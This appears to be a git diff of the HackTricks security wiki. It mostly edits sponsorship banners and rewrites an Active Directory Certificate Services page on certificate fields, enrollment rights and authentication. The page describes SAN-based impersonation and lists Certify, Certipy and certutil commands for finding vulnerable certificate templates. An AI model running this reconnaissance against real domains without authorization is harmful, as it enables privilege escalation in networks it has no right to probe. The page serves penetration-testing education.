* For further information check [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
<details>

4
radio-hacking/pentesting-rfid.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -113,7 +113,7 @@ Or using the **proxmark**:
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</details>

4
reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -410,7 +410,7 @@ The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thr
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>

4
reversing/reversing-tools-basic-methods/angr/angr-examples.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -853,7 +853,7 @@ if __name__ == '__main__':
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</details>

2
reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md
View file

@ -194,7 +194,7 @@ else:
print "failed to solve"
```
# References
## References
* [https://ericpony.github.io/z3py-tutorial/guide-examples.htm](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)

4
stego/esoteric-languages.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -83,7 +83,7 @@ Kukarek
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</details>

4
todo/radio-hacking/flipper-zero/README.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -47,7 +47,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>

4
todo/radio-hacking/flipper-zero/fz-infrared.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -54,7 +54,7 @@ If it doesn't, Flipper can **store** the **signal** and will allow you to **repl
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>

4
todo/radio-hacking/flipper-zero/fz-nfc.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -109,7 +109,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
todo/radio-hacking/proxmark-3.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -93,7 +93,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
welcome/about-the-author.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -27,7 +27,7 @@ HackTricks is also a wiki were **a lot of researches also share their latest fin
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
windows-hardening/active-directory-methodology/abusing-ad-mssql.md
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@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -211,7 +211,7 @@ A strategy that many authors have come up with is to force a SYSTEM service to a
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</details>

230
windows-hardening/active-directory-methodology/ad-certificates.md
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@ -14,206 +14,120 @@ Other ways to support HackTricks:
</details>
## Basic Information
## Introduction
### Parts of a certificate
### Components of a Certificate
* **Subject** - The owner of the certificate.
* **Public Key** - Associates the Subject with a private key stored separately.
* **NotBefore and NotAfter dates** - Define the duration that the certificate is valid.
* **Serial Number** - An identifier for the certificate assigned by the CA.
* **Issuer** - Identifies who issued the certificate (commonly a CA).
* **SubjectAlternativeName** - Defines one or more alternate names that the Subject may go by. (_Check below_)
* **Basic Constraints** - Identifies if the certificate is a CA or an end entity, and if there are any constraints when using the certificate.
* **Extended Key Usages (EKUs)** - Object identifiers (OIDs) that describe **how the certificate will be used**. Also known as Enhanced Key Usage in Microsoft parlance. Common EKU OIDs include:
* Code Signing (OID 1.3.6.1.5.5.7.3.3) - The certificate is for signing executable code.
* Encrypting File System (OID 1.3.6.1.4.1.311.10.3.4) - The certificate is for encrypting file systems.
* Secure Email (1.3.6.1.5.5.7.3.4) - The certificate is for encrypting email.
* Client Authentication (OID 1.3.6.1.5.5.7.3.2) - The certificate is for authentication to another server (e.g., to AD).
* Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) - The certificate is for use in smart card authentication.
* Server Authentication (OID 1.3.6.1.5.5.7.3.1) - The certificate is for identifying servers (e.g., HTTPS certificates).
* **Signature Algorithm** - Specifies the algorithm used to sign the certificate.
* **Signature** - The signature of the certificates body made using the issuer’s (e.g., a CA’s) private key.
- The **Subject** of the certificate denotes its owner.
- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
- The **Issuer** refers to the CA that has issued the certificate.
- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
- The **Signature Algorithm** specifies the method for signing the certificate.
- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
#### Subject Alternative Names
### Special Considerations
A **Subject Alternative Name** (SAN) is an X.509v3 extension. It allows **additional identities** to be bound to a **certificate**. For example, if a web server hosts **content for multiple domains**, **each** applicable **domain** could be **included** in the **SAN** so that the web server only needs a single HTTPS certificate.
- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification.
By default, during certificate-based authentication, one way AD maps certificates to user accounts based on a UPN specified in the SAN. If an attacker can **specify an arbitrary SAN** when requesting a certificate that has an **EKU enabling client authentication**, and the CA creates and signs a certificate using the attacker supplied SAN, the **attacker can become any user in the domain**.
### Certificate Authorities (CAs) in Active Directory (AD)
### CAs
AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles:
AD CS defines CA certificates the AD forest trusts in four locations under the container `CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>`, each differing by their purpose:
- **Certification Authorities** container holds trusted root CA certificates.
- **Enrolment Services** container details Enterprise CAs and their certificate templates.
- **NTAuthCertificates** object includes CA certificates authorized for AD authentication.
- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates.
* The **Certification Authorities** container defines **trusted root CA certificates**. These CAs are at the **top of the PKI tree hierarchy** and are the basis of trust in AD CS environments. Each CA is represented as an AD object inside the container where the **objectClass** is set to **`certificationAuthority`** and the **`cACertificate`** property contains the **bytes** of the **CA’s certificate**. Windows propagates these CA certificates to the Trusted Root Certification Authorities certificate store on **each Windows machine**. For AD to consider a certificate as **trusted**, the certificate’s trust **chain** must eventually **end** with **one of the root CA’s** defined in this container.
* The **Enrolment Services** container defines each **Enterprise CA** (i.e., CAs created in AD CS with the Enterprise CA role enabled). Each Enterprise CA has an AD object with the following attributes:
* An **objectClass** attribute to **`pKIEnrollmentService`**
* A **`cACertificate`** attribute containing the **bytes of the CA’s certificate**
* A **`dNSHostName`** property sets the **DNS host of the CA**
* A **certificateTemplates** field defining the **enabled certificate templates**. Certificate templates are a “blueprint” of settings that the CA uses when creating a certificate, and include things such as the EKUs, enrollment permissions, the certificate’s expiration, issuance requirements, and cryptography settings. We will discuss certificate templates more in detail later.
### Certificate Acquisition: Client Certificate Request Flow
{% hint style="info" %}
In AD environments, **clients interact with Enterprise CAs to request a certificate** based on the settings defined in a certificate template. Enterprise CA certificates are propagated to the Intermediate Certification Authorities certificate store on each Windows machine
{% endhint %}
* The **NTAuthCertificates** AD object defines CA certificates that enable authentication to AD. This object has an **objectClass** of **`certificationAuthority`** and the object’s **`cACertificate`** property defines an array of **trusted CA certificates**. AD-joined Windows machines propagate these CAs to the Intermediate Certification Authorities certificate store on each machine. **Client** applications can **authenticate** to AD using a certificate only if one the **CAs defined by the NTAuthCertificates** object has **signed** the authenticating client’s certificate.
* The **AIA** (Authority Information Access) container holds the AD objects of intermediate and cross CAs. **Intermediate CAs are “children” of root CAs** in the PKI tree hierarchy; as such, this container exists to aid in **validating certificate chains**. Like the Certification Authorities container, each **CA is represented as an AD object** in the AIA container where the objectClass attribute is set to certificationAuthority and the **`cACertificate`** property contains the **bytes** of the **CA’s certificate**. These CAs are propagated to the Intermediate Certification Authorities certificate store on each Windows machine.
### Client Certificate Request Flow
<figure><img src="../../.gitbook/assets/image (5) (2) (2).png" alt=""><figcaption></figcaption></figure>
It's the process to **obtain a certificate** from AD CS. At a high level, during enrolment clients first **find an Enterprise CA** based on the **objects in the Enrolment Services** container discussed above.
1. Clients then generate a **public-private key pair** and
2. place the public key in a **certificate signing request (CSR)** message along with other details such as the subject of the certificate and the **certificate template name**. Clients then **sign the CSR with their private key** and send the CSR to an Enterprise CA server.
3. The **CA** server checks if the client **can request certificates**. If so, it determines if it will issue a certificate by looking up the **certificate template** AD object specified in the CSR. The CA will check if the certificate template AD object’s **permissions allow** the authenticating account to **obtain a certificate**.
4. If so, the **CA generates a certificate** using the “blueprint” settings defined by the **certificate template** (e.g., EKUs, cryptography settings, and issuance requirements) and using the other information supplied in the CSR if allowed by the certificate’s template settings. The **CA signs the certificate** using its private key and then returns it to the client.
1. The request process begins with clients finding an Enterprise CA.
2. A CSR is created, containing a public key and other details, after generating a public-private key pair.
3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions.
4. Upon approval, the CA signs the certificate with its private key and returns it to the client.
### Certificate Templates
AD CS stores available certificate templates as AD objects with an **objectClass** of **`pKICertificateTemplate`** located in the following container:
Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services.
`CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>`
## Certificate Enrollment
An AD certificate template object’s attributes **define its settings, and its security descriptor controls** what **principals can enrol** in the certificate or **edit** the certificate template.
The enrollment process for certificates is initiated by an administrator who **creates a certificate template**, which is then **published** by an Enterprise Certificate Authority (CA). This makes the template available for client enrollment, a step achieved by adding the template's name to the `certificatetemplates` field of an Active Directory object.
The **`pKIExtendedKeyUsage`** attribute on an AD certificate template object contains an **array of OIDs** enabled in the template. These EKU OIDs affect **what the certificate can be used for.** You can find a [list of possible OIDs here](https://www.pkisolutions.com/object-identifiers-oid-in-pki/).
For a client to request a certificate, **enrollment rights** must be granted. These rights are defined by security descriptors on the certificate template and the Enterprise CA itself. Permissions must be granted in both locations for a request to be successful.
#### Authentication OIDs
### Template Enrollment Rights
* `1.3.6.1.5.5.7.3.2`: Client Authentication
* `1.3.6.1.5.2.3.4`: PKINIT Client Authentication (needed to be added manually)
* `1.3.6.1.4.1.311.20.2.2`: Smart Card Logon
* `2.5.29.37.0`: Any purpose
* `(no EKUs)`: SubCA
* An additional EKU OID that we found we could abuse is the Certificate Request Agent OID (`1.3.6.1.4.1.311.20.2.1`). Certificates with this OID can be used to **request certificates on behalf of another user** unless specific restrictions are put in place.
These rights are specified through Access Control Entries (ACEs), detailing permissions like:
- **Certificate-Enrollment** and **Certificate-AutoEnrollment** rights, each associated with specific GUIDs.
- **ExtendedRights**, allowing all extended permissions.
- **FullControl/GenericAll**, providing complete control over the template.
## Certificate Enrolment
### Enterprise CA Enrollment Rights
An admin needs to **create the certificate** template and then an **Enterprise CA “publishes”** the template, making it available to clients to enrol in. AD CS specifies that a certificate template is enabled on an Enterprise CA by **adding the template’s name to the `certificatetemplates` field** of the AD object.
The CA's rights are outlined in its security descriptor, accessible via the Certificate Authority management console. Some settings even allow low-privileged users remote access, which could be a security concern.
<figure><img src="../../.gitbook/assets/image (11) (2) (1).png" alt=""><figcaption></figcaption></figure>
### Additional Issuance Controls
{% hint style="warning" %}
AD CS defines enrolment rights - which **principals can request** a certificate – using two security descriptors: one on the **certificate template** AD object and another on the **Enterprise CA itself**.\
A client needs to be granted in both security descriptors in order to be able to request a certificate.
{% endhint %}
Certain controls may apply, such as:
- **Manager Approval**: Places requests in a pending state until approved by a certificate manager.
- **Enrolment Agents and Authorized Signatures**: Specify the number of required signatures on a CSR and the necessary Application Policy OIDs.
### Certificate Templates Enrolment Rights
### Methods to Request Certificates
* **The ACE grants a principal the Certificate-Enrollment extended right**. The raw ACE grants principal the `RIGHT_DS_CONTROL_ACCESS45` access right where the **ObjectType** is set to `0e10c968-78fb-11d2-90d4-00c04f79dc5547`. This GUID corresponds with the **Certificate-Enrolment** extended right.
* **The ACE grants a principal the Certificate-AutoEnrollment extended right**. The raw ACE grants principal the `RIGHT_DS_CONTROL_ACCESS48` access right where the **ObjectType** is set `to a05b8cc2-17bc-4802-a710-e7c15ab866a249`. This GUID corresponds with the **Certificate-AutoEnrollment** extended right.
* **An ACE grants a principal all ExtendedRights**. The raw ACE enables the `RIGHT_DS_CONTROL_ACCESS` access right where the **ObjectType** is set to `00000000-0000-0000-0000-000000000000`. This GUID corresponds with **all extended rights**.
* **An ACE grants a principal FullControl/GenericAll**. The raw ACE enables the FullControl/GenericAll access right.
Certificates can be requested through:
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), using DCOM interfaces.
2. **ICertPassage Remote Protocol** (MS-ICPR), through named pipes or TCP/IP.
3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed.
4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service.
5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP).
### Enterprise CA Enrolment Rights
Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command).
The **security descriptor** configured on the **Enterprise CA** defines these rights and is **viewable** in the Certificate Authority MMC snap-in `certsrv.msc` by right clicking on the CA → Properties → Security.
<figure><img src="../../.gitbook/assets/image (7) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
This ultimately ends up setting the Security registry value in the key **`HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<CA NAME>`** on the CA server. We have encountered several AD CS servers that grant low-privileged users remote access to this key via remote registry:
<figure><img src="../../.gitbook/assets/image (6) (2) (1).png" alt=""><figcaption></figcaption></figure>
Low-privileged users can also **enumerate this via DCOM** using the `ICertAdminD2` COM interface’s `GetCASecurity` method. However, normal Windows clients need to install the Remote Server Administration Tools (RSAT) to use it since the COM interface and any COM objects that implement it are not present on Windows by default.
### Issuance Requirements
Other requirements could be in place to control who can get a certificate.
#### Manager Approval
**CA certificate manager approval** results in the certificate template setting the `CT_FLAG_PEND_ALL_REQUESTS` (0x2) bit on the AD object’s `msPKI-EnrollmentFlag` attribute. This puts all **certificate requests** based on the template into the **pending state** (visible in the “Pending Requests” section in `certsrv.msc`), which requires a certificate manager to **approve or deny** the request before the certificate is issued:
<figure><img src="../../.gitbook/assets/image (13) (2).png" alt=""><figcaption></figcaption></figure>
#### Enrolment Agents, Authorized Signatures, and Application Policies
**This number of authorized signatures** and the **Application policy**. The former controls the **number of signatures required** in the CSR for the CA to accept it. The latter defines the **EKU OIDs that the CSR signing certificate must have**.
A common use for these settings is for **enrolment agents**. An enrolment agent is an AD CS term given to an entity that can **request certificates on behalf of another user**. To do so, the CA must issue the enrolment agent account a certificate containing at least the **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1). Once issued, the enrolment agent can then **sign CSRs and request certificates on behalf of other users**. The CA will **issue** the enrolment agent a **certificate** as **another user** only under the following non-comprehensive set of **conditions** (implemented primarily in default policy module `certpdef.dll`):
* The Windows user authenticating to the CA has enrolment rights to the target certificate template.
* If the certificate template’s schema version is 1, the CA will require signing certificates to have the Certificate Request Agent OID before issuing the certificate. The template’s schema version is the specified in its AD object’s msPKI-Template-Schema-Version property.
* If the certificate template’s schema version is 2:
* The template must set the “This number of authorized signatures” setting and the specified number of enrolment agents must sign the CSR (the template’s mspkira-signature AD attribute defines this setting). In other words, this setting specifies how many enrollment agents must sign a CSR before the CA even considers issuing a certificate.
* The template’s “Application policy” issuance restriction must be set to “Certificate Request Agent”.
### Request Certificates
1. Using the Windows **Client Certificate Enrolment Protocol** (MS-WCCE), a set of Distributed Component Object Model (DCOM) interfaces that interact with various AD CS features including enrolment. The **DCOM server is enabled on all AD CS servers by default** and is the most common method by which we have seen clients request certificates.
2. Via the **ICertPassage Remote Protocol** (MS-ICPR), a **remote procedure call** (RPC) protocol can operate over named pipes or TCP/IP.
3. Accessing the **certificate enrolment web interface**. To use this, the ADCS server needs to have the **Certificate Authority Web Enrolment role installed**. Once enabled, a user can navigate to the IIS-hosted ASP web enrolment application running at `http:///certsrv/`.
* `certipy req -ca 'corp-DC-CA' -username john@corp.local -password Passw0rd -web -debug`
4. Interacting with a **certificate enrolment service** (CES). To use this, a server needs to have the **Certificate Enrolment Web Service role installed**. Once enabled, a user can access the web service at `https:///_CES_Kerberos/service.svc` to request certificates. This service works in tandem with a certificate enrolment policy (CEP) service (installed via the Certificate Enrolment Policy Web Service role), which clients use to **list certificate templates** at the URL `https:///ADPolicyProvider_CEP_Kerberos/service.svc`. Underneath, the certificate enrolment and policy web services implement MS-WSTEP and MS-XCEP, respectively (two SOAP-based protocols).
5. Using the **network device enrolment service**. To use this, a server needs to have the **Network Device Enrolment Service role installed**, which allows clients (namely network devices) to obtain certificates via the **Simple Certificate Enrolment Protocol** (SCEP). Once enabled, an administrator can obtain a one-time password (OTP) from the URL `http:///CertSrv/mscep_admin/`. The administrator can then provide the OTP to a network device and the device will use the SCEP to request a certificate using the URL `http://NDESSERVER/CertSrv/mscep/`.
On a Windows machine, users can request certificates using a GUI by launching `certmgr.msc` (for user certificates) or `certlm.msc` (for computer certificates), expanding the Personal certificate `store → right clicking Certificates → All Tasks → Request New Certificate`.
One can also use the built-in **`certreq.exe`** command or PowerShell’s **`Get-Certificate`** command for certificate enrolment.
```powershell
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## Certificate Authentication
AD supports certificate authentication over **two protocols** by default: **Kerberos** and **Secure Channel** (Schannel).
Active Directory (AD) supports certificate authentication, primarily utilizing **Kerberos** and **Secure Channel (Schannel)** protocols.
### Kerberos Authentication and the NTAuthCertificates Container
### Kerberos Authentication Process
In summary, a user will **sign** the authenticator for a **TGT request** using the **private key** of their certificate and submit this request to a **domain controller**. The domain controller performs a number of **verification** steps and **issues a TGT** if everything **passes**.
In the Kerberos authentication process, a user's request for a Ticket Granting Ticket (TGT) is signed using the **private key** of the user's certificate. This request undergoes several validations by the domain controller, including the certificate's **validity**, **path**, and **revocation status**. Validations also include verifying that the certificate comes from a trusted source and confirming the issuer's presence in the **NTAUTH certificate store**. Successful validations result in the issuance of a TGT. The **`NTAuthCertificates`** object in AD, found at:
Or, more detailed:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
> The **KDC** **validates** the **user's certificate** (time, path, and revocation status) to ensure that the certificate is from a trusted source. The KDC uses CryptoAPI to build a **certification path** from the user's certificate to a **root certification authority** (CA) certificate that resides in the **root store** on the domain controller. The KDC then uses CryptoAPI to verify the **digital signature** on the signed authenticator that was included in the preauthentication data fields. The domain controller verifies the signature and uses the public key from the user's certificate to prove that the request originated from the owner of the private key that corresponds to the public key. **The KDC also verifies that the issuer is trusted and appears in the NTAUTH certificate store.**
The “NTAUTH certificate store” mentioned here refers to an AD object AD CS installs at the following location:
`CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>`
> By publishing the **CA certificate to the Enterprise NTAuth store**, the Administrator indicates that the **CA is trusted** to issue certificates of these types. Windows CAs automatically publish their CA certificates to this store.
This means that when **AD CS creates a new CA** (or it renews CA certificates), it publishes the new certificate to the **`NTAuthCertificates`** object by adding the new certificate to the object’s `cacertificate` attribute:
<figure><img src="../../.gitbook/assets/image (9) (2).png" alt=""><figcaption></figcaption></figure>
During certificate authentication, the DC can then verify that the authenticating certificate chains to a CA certificate defined by the **`NTAuthCertificates`** object. CA certificates in the **`NTAuthCertificates`** object must in turn chain to a root CA. The big takeaway here is the **`NTAuthCertificates`** object is the root of trust for certificate authentication in Active Directory!
is central to establishing trust for certificate authentication.
### Secure Channel (Schannel) Authentication
Schannel is the security support provider (SSP) Windows leverages when establishing TLS/SSL connections. Schannel supports **client authentication** (amongst many other capabilities), enabling a remote server to **verify the identity of the connecting user**. It accomplishes this using PKI, with certificates being the primary credential.\
During the **TLS handshake**, the server **requests a certificate from the client** for authentication. The client, having previously been issued a client authentication certificate from a CA the server trusts, sends its certificate to the server. The **server then validates** the certificate is correct and grants the user access assuming everything is okay.
Schannel facilitates secure TLS/SSL connections, where during a handshake, the client presents a certificate that, if successfully validated, authorizes access. The mapping of a certificate to an AD account may involve Kerberos’s **S4U2Self** function or the certificate’s **Subject Alternative Name (SAN)**, among other methods.
<figure><img src="../../.gitbook/assets/image (8) (2) (1).png" alt=""><figcaption></figcaption></figure>
### AD Certificate Services Enumeration
When an account authenticates to AD using a certificate, the DC needs to somehow map the certificate credential to an AD account. **Schannel** first attempts to **map** the **credential** to a **user** account use Kerberos’s **S4U2Self** functionality.\
If that is **unsuccessful**, it will follow the attempt to map the **certificate to a user** account using the certificate’s **SAN extension**, a combination of the **subject** and **issuer** fields, or solely from the issuer. By default, not many protocols in AD environments support AD authentication via Schannel out of the box. WinRM, RDP, and IIS all support client authentication using Schannel, but it **requires additional configuration**, and in some cases – like WinRM – does not integrate with Active Directory.\
One protocol that does commonly work – assuming AD CS has been setup - is **LDAPS**. The cmdlet `Get-LdapCurrentUser` demonstrates how one can authenticate to LDAP using .NET libraries. The cmdlet performs an LDAP “Who am I?” extended operation to display the currently authenticating user:
AD's certificate services can be enumerated through LDAP queries, revealing information about **Enterprise Certificate Authorities (CAs)** and their configurations. This is accessible by any domain-authenticated user without special privileges. Tools like **[Certify](https://github.com/GhostPack/Certify)** and **[Certipy](https://github.com/ly4k/Certipy)** are used for enumeration and vulnerability assessment in AD CS environments.
<figure><img src="../../.gitbook/assets/image (2) (4).png" alt=""><figcaption></figcaption></figure>
## AD CS Enumeration
Just like for most of AD, all the information covered so far is available by querying LDAP as a domain authenticated, but otherwise unprivileged, user.
If we want to **enumerate Enterprise CAs** and their settings, one can query LDAP using the `(objectCategory=pKIEnrollmentService)` LDAP filter on the `CN=Configuration,DC=<domain>,DC=<com>` search base (this search base corresponds with the Configuration naming context of the AD forest). The results will identify the DNS hostname of the CA server, the CA name itself, the certificate start and end dates, various flags, published certificate templates, and more.
**Tools to enumerate vulnerable certificates:**
* [**Certify**](https://github.com/GhostPack/Certify) is a C# tool that can **enumerate useful configuration and infrastructure information about of AD CS environments** and can request certificates in a variety of different ways.
* [**Certipy**](https://github.com/ly4k/Certipy) is a **python** tool to be able to **enumerate and abuse** Active Directory Certificate Services (**AD CS**) **from any system** (with access to the DC) that can generate output for BloodHound created by [**Lyak**](https://twitter.com/ly4k\_) (good person better hacker) .
Commands for using these tools include:
```bash
# https://github.com/GhostPack/Certify
Certify.exe cas #enumerate trusted root CA certificates, certificates defined by the NTAuthCertificates object, and various information about Enterprise CAs
Certify.exe find #enumerate certificate templates
Certify.exe find /vulnerable #Enumerate vulenrable certificate templater
# Enumerate trusted root CA certificates and Enterprise CAs with Certify
Certify.exe cas
# Identify vulnerable certificate templates with Certify
Certify.exe find /vulnerable
# https://github.com/ly4k/Certipy
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
certipy find -vulnerable [-hide-admins] -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 #Search vulnerable templates
# Use Certipy for enumeration and identifying vulnerable templates
certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
certutil.exe -TCAInfo #enumerate Enterprise CAs
certutil -v -dstemplate #enumerate certificate templates
# Enumerate Enterprise CAs and certificate templates with certutil
certutil.exe -TCAInfo
certutil -v -dstemplate
```
## References

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